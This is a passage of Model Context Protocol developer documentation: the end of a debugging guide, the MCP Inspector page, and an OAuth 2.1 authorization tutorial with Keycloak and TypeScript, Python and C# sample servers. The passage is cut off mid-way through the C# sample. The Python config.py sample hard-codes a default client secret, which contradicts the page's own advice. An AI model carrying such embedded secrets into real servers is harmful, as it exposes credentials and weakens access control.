+2. **Error Handling** + * Log stack traces + * Include error context + * Track error patterns + * Monitor recovery + +3. **Performance Tracking** + * Log operation timing + * Monitor resource usage + * Track message sizes + * Measure latency + +### Security considerations + +When debugging: + +1. **Sensitive Data** + * Sanitize logs + * Protect credentials + * Mask personal information + +2. **Access Control** + * Verify permissions + * Check authentication + * Monitor access patterns + +For a full treatment of MCP attack vectors and mitigations, see +[Security Best Practices](/docs/tutorials/security/security_best_practices). + +## Getting help + +When encountering issues: + +1. **First Steps** + * Check server logs + * Test with [Inspector](/docs/tools/inspector) + * Review configuration + * Verify environment + +2. **Support Channels** + * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) + * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) + +3. **Providing Information** + * Log excerpts + * Configuration files + * Steps to reproduce + * Environment details + +## Next steps + + + + Learn to use the MCP Inspector + + + + Walk through building a server from scratch + + + + Full claude\_desktop\_config.json reference and troubleshooting + + + + +# MCP Inspector +Source: https://modelcontextprotocol.io/docs/tools/inspector + +In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers + +The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities. + +## Getting started + +### Installation and basic usage + +The Inspector runs directly through `npx` without requiring installation: + +```bash theme={null} +npx @modelcontextprotocol/inspector +``` + +```bash theme={null} +npx @modelcontextprotocol/inspector +``` + +#### Inspecting servers from npm or PyPI + +A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org). + + + + ```bash theme={null} + npx -y @modelcontextprotocol/inspector npx + # For example + npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop + ``` + + + + ```bash theme={null} + npx @modelcontextprotocol/inspector uvx + # For example + npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git + ``` + + + +#### Inspecting locally developed servers + +To inspect servers locally developed or downloaded as a repository, the most common +way is: + + + + ```bash theme={null} + npx @modelcontextprotocol/inspector node path/to/server/index.js args... + ``` + + + + ```bash theme={null} + npx @modelcontextprotocol/inspector \ + uv \ + --directory path/to/server \ + run \ + package-name \ + args... + ``` + + + +Please carefully read any attached README for the most accurate instructions. + +## Feature overview + + + + + +The Inspector provides several features for interacting with your MCP server: + +### Server connection pane + +* Allows selecting the [transport](/specification/latest/basic/transports) for connecting to the server +* For local servers, supports customizing the command-line arguments and environment + +### Resources tab + +* Lists all available resources +* Shows resource metadata (MIME types, descriptions) +* Allows resource content inspection +* Supports subscription testing + +### Prompts tab + +* Displays available prompt templates +* Shows prompt arguments and descriptions +* Enables prompt testing with custom arguments +* Previews generated messages + +### Tools tab + +* Lists available tools +* Shows tool schemas and descriptions +* Enables tool testing with custom inputs +* Displays tool execution results + +### Notifications pane + +* Presents all logs recorded from the server +* Shows notifications received from the server + +## Best practices + +### Development workflow + +1. Start Development + * Launch Inspector with your server + * Verify basic connectivity + * Check capability negotiation + +2. Iterative testing + * Make server changes + * Rebuild the server + * Reconnect the Inspector + * Test affected features + * Monitor messages + +3. Test edge cases + * Invalid inputs + * Missing prompt arguments + * Concurrent operations + * Verify error handling and error responses + +## Next steps + + + + Check out the MCP Inspector source code + + + + Learn about broader debugging strategies + + + + +# Understanding Authorization in MCP +Source: https://modelcontextprotocol.io/docs/tutorials/security/authorization + +Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations + +Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints. + +MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/latest/basic/authorization). + +## When Should You Use Authorization? + +While authorization for MCP servers is **optional**, it is strongly recommended when: + +* Your server accesses user-specific data (emails, documents, databases) +* You need to audit who performed which actions +* Your server grants access to its APIs that require user consent +* You're building for enterprise environments with strict access controls +* You want to implement rate limiting or usage tracking per user + + + **Authorization for Local MCP Servers** + + For MCP servers using the [STDIO transport](/specification/latest/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows. + + OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server. + + +## The Authorization Flow: Step by Step + +Let's walk through what happens when a client wants to connect to your protected MCP server: + + + + When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header. + + ```http theme={null} + HTTP/1.1 401 Unauthorized + WWW-Authenticate: Bearer realm="mcp", + resource_metadata="https://your-server.com/.well-known/oauth-protected-resource" + ``` + + This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow. + + + + With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below. + + ```json theme={null} + { + "resource": "https://your-server.com/mcp", + "authorization_servers": ["https://auth.your-server.com"], + "scopes_supported": ["mcp:tools", "mcp:resources"] + } + ``` + + You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r). + + + + Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use. + + With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support) + and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow. + + ```json theme={null} + { + "issuer": "https://auth.your-server.com", + "authorization_endpoint": "https://auth.your-server.com/authorize", + "token_endpoint": "https://auth.your-server.com/token", + "registration_endpoint": "https://auth.your-server.com/register" + } + ``` + + + + With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways. + + First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow. + + Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information: + + ```json theme={null} + { + "client_name": "My MCP Client", + "redirect_uris": ["http://localhost:3000/callback"], + "grant_types": ["authorization_code", "refresh_token"], + "response_types": ["code"] + } + ``` + + If the registration succeeds, the authorization server will return a JSON blob with client registration information. + + + **No DCR or Pre-Registration** + + In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually. + + + + + The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens: + + ```json theme={null} + { + "access_token": "eyJhbGciOiJSUzI1NiIs...", + "refresh_token": "def502...", + "token_type": "Bearer", + "expires_in": 3600 + } + ``` + + The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions. + + + + Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header: + + ```http theme={null} + GET /mcp HTTP/1.1 + Host: your-server.com + Authorization: Bearer eyJhbGciOiJSUzI1NiIs... + ``` + + The MCP server will need to validate the token and process the request if the token is valid and has the required permissions. + + + +## Implementation Example + +To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation. + +Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine. + +### Keycloak Setup + +From your terminal application, run the following command to start the Keycloak container: + +```bash theme={null} +docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev +``` + +This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password. + + + **Not for Production** + + The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability. + + +You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`. + + + Keycloak admin dashboard authentication dialog. + + +When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at: + +```http theme={null} +http://localhost:8080/realms/master/.well-known/openid-configuration +``` + +We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration. + +Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server. + + + Configuring Keycloak scopes. + + +After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation. + +Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios. + +To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**. + + + Configuring an audience for a token in Keycloak. + + +For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server. + + + **Not for Production** + + The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value. + + +Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup. + + + Setting up client registration details in Keycloak. + + + + **Getting the Host** + + If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs. + + +Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that: + +1. Go to **Clients**. +2. Click **Create client**. +3. Give your client a unique **Client ID** and click **Next**. +4. Enable **Client authentication** and click **Next**. +5. Click **Save**. + +Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform. + +When you open the client details, go to **Credentials** and take note of the **Client Secret**. + + + Creating a new client in Keycloak. + + + + **Handling Secrets** + + Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage. + + +With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this: + +```text theme={null} +eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg +``` + +Decoded, it will look like this: + +```json theme={null} +{ + "alg": "RS256", + "typ": "JWT", + "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys" +}.{ + "exp": 1755540817, + "iat": 1755540757, + "auth_time": 1755538888, + "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8", + "iss": "http://localhost:8080/realms/master", + "aud": "http://localhost:3000", + "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9", + "typ": "Bearer", + "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974", + "sid": "8f7ec276-358f-4ccc-b313-db08290f376f", + "scope": "mcp:tools" +}.[Signature] +``` + + + **Embedded Audience** + + Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate. + + +### MCP Server Setup + +We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/sdk). + +For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these. + + + + You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth). + + Prior to running the code below, ensure that you have a `.env` file with the following content: + + ```env theme={null} + # Server host/port + HOST=localhost + PORT=3000 + + # Auth server location + AUTH_HOST=localhost + AUTH_PORT=8080 + AUTH_REALM=master + + # Keycloak OAuth client credentials + OAUTH_CLIENT_ID= + OAUTH_CLIENT_SECRET= + ``` + + `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier. + + In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues. + + ```typescript theme={null} + import "dotenv/config"; + import express from "express"; + import { randomUUID } from "node:crypto"; + import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; + import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; + import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js"; + import { z } from "zod"; + import cors from "cors"; + import { + mcpAuthMetadataRouter, + getOAuthProtectedResourceMetadataUrl, + } from "@modelcontextprotocol/sdk/server/auth/router.js"; + import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js"; + import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js"; + import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js"; + const CONFIG = { + host: process.env.HOST || "localhost", + port: Number(process.env.PORT) || 3000, + auth: { + host: process.env.AUTH_HOST || process.env.HOST || "localhost", + port: Number(process.env.AUTH_PORT) || 8080, + realm: process.env.AUTH_REALM || "master", + clientId: process.env.OAUTH_CLIENT_ID || "mcp-server", + clientSecret: process.env.OAUTH_CLIENT_SECRET || "", + }, + }; + + function createOAuthUrls() { + const authBaseUrl = new URL( + `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`, + ); + return { + issuer: authBaseUrl.toString(), + introspection_endpoint: new URL( + "protocol/openid-connect/token/introspect", + authBaseUrl, + ).toString(), + authorization_endpoint: new URL( + "protocol/openid-connect/auth", + authBaseUrl, + ).toString(), + token_endpoint: new URL( + "protocol/openid-connect/token", + authBaseUrl, + ).toString(), + }; + } + + function createRequestLogger() { + return (req: any, res: any, next: any) => { + const start = Date.now(); + res.on("finish", () => { + const ms = Date.now() - start; + console.log( + `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`, + ); + }); + next(); + }; + } + + const app = express(); + + app.use( + express.json({ + verify: (req: any, _res, buf) => { + req.rawBody = buf?.toString() ?? ""; + }, + }), + ); + + app.use( + cors({ + origin: "*", + exposedHeaders: ["Mcp-Session-Id"], + }), + ); + + app.use(createRequestLogger()); + + const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`); + const oauthUrls = createOAuthUrls(); + + const oauthMetadata: OAuthMetadata = { + ...oauthUrls, + response_types_supported: ["code"], + }; + + const tokenVerifier = { + verifyAccessToken: async (token: string) => { + const endpoint = oauthMetadata.introspection_endpoint; + + if (!endpoint) { + console.error("[auth] no introspection endpoint in metadata"); + throw new Error("No token verification endpoint available in metadata"); + } + + const params = new URLSearchParams({ + token: token, + client_id: CONFIG.auth.clientId, + }); + + if (CONFIG.auth.clientSecret) { + params.set("client_secret", CONFIG.auth.clientSecret); + } + + let response: Response; + try { + response = await fetch(endpoint, { + method: "POST", + headers: { + "Content-Type": "application/x-www-form-urlencoded", + }, + body: params.toString(), + }); + } catch (e) { + console.error("[auth] introspection fetch threw", e); + throw e; + } + + if (!response.ok) { + const txt = await response.text(); + console.error("[auth] introspection non-OK", { status: response.status }); + + try { + const obj = JSON.parse(txt); + console.log(JSON.stringify(obj, null, 2)); + } catch { + console.error(txt); + } + throw new Error(`Invalid or expired token: ${txt}`); + } + + let data: any; + try { + data = await response.json(); + } catch (e) { + const txt = await response.text(); + console.error("[auth] failed to parse introspection JSON", { + error: String(e), + body: txt, + }); + throw e; + } + + if (data.active === false) { + throw new Error("Inactive token"); + } + + if (!data.aud) { + throw new Error("Resource indicator (aud) missing"); + } + + const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud]; + const allowed = audiences.some((a) => + checkResourceAllowed({ + requestedResource: a, + configuredResource: mcpServerUrl, + }), + ); + if (!allowed) { + throw new Error( + `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`, + ); + } + + return { + token, + clientId: data.client_id, + scopes: data.scope ? data.scope.split(" ") : [], + expiresAt: data.exp, + }; + }, + }; + app.use( + mcpAuthMetadataRouter({ + oauthMetadata, + resourceServerUrl: mcpServerUrl, + scopesSupported: ["mcp:tools"], + resourceName: "MCP Demo Server", + }), + ); + + const authMiddleware = requireBearerAuth({ + verifier: tokenVerifier, + requiredScopes: [], + resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl), + }); + + const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {}; + + function createMcpServer() { + const server = new McpServer({ + name: "example-server", + version: "1.0.0", + }); + + server.registerTool( + "add", + { + title: "Addition Tool", + description: "Add two numbers together", + inputSchema: { + a: z.number().describe("First number to add"), + b: z.number().describe("Second number to add"), + }, + }, + async ({ a, b }) => ({ + content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }], + }), + ); + + server.registerTool( + "multiply", + { + title: "Multiplication Tool", + description: "Multiply two numbers together", + inputSchema: { + x: z.number().describe("First number to multiply"), + y: z.number().describe("Second number to multiply"), + }, + }, + async ({ x, y }) => ({ + content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }], + }), + ); + + return server; + } + + const mcpPostHandler = async (req: express.Request, res: express.Response) => { + const sessionId = req.headers["mcp-session-id"] as string | undefined; + let transport: StreamableHTTPServerTransport; + + if (sessionId && transports[sessionId]) { + transport = transports[sessionId]; + } else if (!sessionId && isInitializeRequest(req.body)) { + transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: () => randomUUID(), + onsessioninitialized: (sessionId) => { + transports[sessionId] = transport; + }, + }); + + transport.onclose = () => { + if (transport.sessionId) { + delete transports[transport.sessionId]; + } + }; + + const server = createMcpServer(); + await server.connect(transport); + } else { + res.status(400).json({ + jsonrpc: "2.0", + error: { + code: -32000, + message: "Bad Request: No valid session ID provided", + }, + id: null, + }); + return; + } + + await transport.handleRequest(req, res, req.body); + }; + + const handleSessionRequest = async ( + req: express.Request, + res: express.Response, + ) => { + const sessionId = req.headers["mcp-session-id"] as string | undefined; + if (!sessionId || !transports[sessionId]) { + res.status(400).send("Invalid or missing session ID"); + return; + } + + const transport = transports[sessionId]; + await transport.handleRequest(req, res); + }; + + app.post("/", authMiddleware, mcpPostHandler); + app.get("/", authMiddleware, handleSessionRequest); + app.delete("/", authMiddleware, handleSessionRequest); + + app.listen(CONFIG.port, CONFIG.host, () => { + console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`); + console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`); + console.log( + `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`, + ); + }); + ``` + + When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint. + + For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk). + + + + You can see the complete Python project in the [sample repository](https://github.com/localden/min-py-mcp-auth). + + To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios. + + Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup: + + ```python theme={null} + """Configuration settings for the MCP auth server.""" + + import os + from typing import Optional + + + class Config: + """Configuration class that loads from environment variables with sensible defaults.""" + + # Server settings + HOST: str = os.getenv("HOST", "localhost") + PORT: int = int(os.getenv("PORT", "3000")) + + # Auth server settings + AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost") + AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080")) + AUTH_REALM: str = os.getenv("AUTH_REALM", "master") + + # OAuth client settings + OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server") + OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB") + + # Server settings + MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools") + OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes") + TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http") + + @property + def server_url(self) -> str: + """Build the server URL.""" + return f"http://{self.HOST}:{self.PORT}" + + @property + def auth_base_url(self) -> str: + """Build the auth server base URL.""" + return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/" + + def validate(self) -> None: + """Validate configuration.""" + if self.TRANSPORT not in ["sse", "streamable-http"]: + raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'") + + + # Global configuration instance + config = Config() + + ``` + + The server implementation is as follows: + + ```python theme={null} + import datetime + import logging + from typing import Any + + from pydantic import AnyHttpUrl + + from mcp.server.auth.settings import AuthSettings + from mcp.server.fastmcp.server import FastMCP + + from .config import config + from .token_verifier import IntrospectionTokenVerifier + + logger = logging.getLogger(__name__) + + + def create_oauth_urls() -> dict[str, str]: + """Create OAuth URLs based on configuration (Keycloak-style).""" + from urllib.parse import urljoin + + auth_base_url = config.auth_base_url + + return { + "issuer": auth_base_url, + "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"), + "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"), + "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"), + } + + + def create_server() -> FastMCP: + """Create and configure the FastMCP server.""" + + config.validate() + + oauth_urls = create_oauth_urls() + + token_verifier = IntrospectionTokenVerifier( + introspection_endpoint=oauth_urls["introspection_endpoint"], + server_url=config.server_url, + client_id=config.OAUTH_CLIENT_ID, + client_secret=config.OAUTH_CLIENT_SECRET, + ) + + app = FastMCP( + name="MCP Resource Server", + instructions="Resource Server that validates tokens via Authorization Server introspection", + host=config.HOST, + port=config.PORT, + debug=True, + streamable_http_path="/", + token_verifier=token_verifier, + auth=AuthSettings( + issuer_url=AnyHttpUrl(oauth_urls["issuer"]), + required_scopes=[config.MCP_SCOPE], + resource_server_url=AnyHttpUrl(config.server_url), + ), + ) + + @app.tool() + async def add_numbers(a: float, b: float) -> dict[str, Any]: + """ + Add two numbers together. + This tool demonstrates basic arithmetic operations with OAuth authentication. + + Args: + a: The first number to add + b: The second number to add + """ + result = a + b + return { + "operation": "addition", + "operand_a": a, + "operand_b": b, + "result": result, + "timestamp": datetime.datetime.now().isoformat() + } + + @app.tool() + async def multiply_numbers(x: float, y: float) -> dict[str, Any]: + """ + Multiply two numbers together. + This tool demonstrates basic arithmetic operations with OAuth authentication. + + Args: + x: The first number to multiply + y: The second number to multiply + """ + result = x * y + return { + "operation": "multiplication", + "operand_x": x, + "operand_y": y, + "result": result, + "timestamp": datetime.datetime.now().isoformat() + } + + return app + + + def main() -> int: + """ + Run the MCP Resource Server. + + This server: + - Provides RFC 9728 Protected Resource Metadata + - Validates tokens via Authorization Server introspection + - Serves MCP tools requiring authentication + + Configuration is loaded from config.py and environment variables. + """ + logging.basicConfig(level=logging.INFO) + + try: + config.validate() + oauth_urls = create_oauth_urls() + + except ValueError as e: + logger.error("Configuration error: %s", e) + return 1 + + try: + mcp_server = create_server() + + logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT) + logger.info("Authorization Server: %s", oauth_urls["issuer"]) + logger.info("Transport: %s", config.TRANSPORT) + + mcp_server.run(transport=config.TRANSPORT) + return 0 + + except Exception: + logger.exception("Server error") + return 1 + + + if __name__ == "__main__": + exit(main()) + ``` + + Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts + + ```python theme={null} + """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662).""" + + import logging + from typing import Any + + from mcp.server.auth.provider import AccessToken, TokenVerifier + from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url + + logger = logging.getLogger(__name__) + + + class IntrospectionTokenVerifier(TokenVerifier): + """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662). + """ + + def __init__( + self, + introspection_endpoint: str, + server_url: str, + client_id: str, + client_secret: str, + ): + self.introspection_endpoint = introspection_endpoint + self.server_url = server_url + self.client_id = client_id + self.client_secret = client_secret + self.resource_url = resource_url_from_server_url(server_url) + + async def verify_token(self, token: str) -> AccessToken | None: + """Verify token via introspection endpoint.""" + import httpx + + if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")): + return None + + timeout = httpx.Timeout(10.0, connect=5.0) + limits = httpx.Limits(max_connections=10, max_keepalive_connections=5) + + async with httpx.AsyncClient( + timeout=timeout, + limits=limits, + verify=True, + ) as client: + try: + form_data = { + "token": token, + "client_id": self.client_id, + "client_secret": self.client_secret, + } + headers = {"Content-Type": "application/x-www-form-urlencoded"} + + response = await client.post( + self.introspection_endpoint, + data=form_data, + headers=headers, + ) + + if response.status_code != 200: + return None + + data = response.json() + if not data.get("active", False): + return None + + if not self._validate_resource(data): + return None + + return AccessToken( + token=token, + client_id=data.get("client_id", "unknown"), + scopes=data.get("scope", "").split() if data.get("scope") else [], + expires_at=data.get("exp"), + resource=data.get("aud"), # Include resource in token + ) + + except Exception as e: + return None + + def _validate_resource(self, token_data: dict[str, Any]) -> bool: + """Validate token was issued for this resource server. + + Rules: + - Reject if 'aud' missing. + - Accept if any audience entry matches the derived resource URL. + - Supports string or list forms per JWT spec. + """ + if not self.server_url or not self.resource_url: + return False + + aud: list[str] | str | None = token_data.get("aud") + if isinstance(aud, list): + return any(self._is_valid_resource(a) for a in aud) + if isinstance(aud, str): + return self._is_valid_resource(aud) + return False + + def _is_valid_resource(self, resource: str) -> bool: + """Check if the given resource matches our server.""" + return check_resource_allowed(self.resource_url, resource) + ``` + + For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk). + + + + You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth). + + To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation. + + ```csharp theme={null} + using Microsoft.AspNetCore.Authentication.JwtBearer; + using Microsoft.IdentityModel.Tokens; + using ModelContextProtocol.AspNetCore.Authentication; + using ProtectedMcpServer.Tools; + using System.Security.Claims; + + var builder = WebApplication.CreateBuilder(args); + + var serverUrl = "http://localhost:3000/"; + var authorizationServerUrl = "http://localhost:8080/realms/master/"; + + builder.Services.AddAuthentication(options => + { + options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme; + options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme; + }) + .AddJwtBearer(options => + { + options.Authority = authorizationServerUrl; + var normalizedServerAudience = serverUrl.TrimEnd('/'); + options.TokenValidationParameters = new TokenValidationParameters + { + ValidIssuer = authorizationServerUrl, + ValidAudiences = 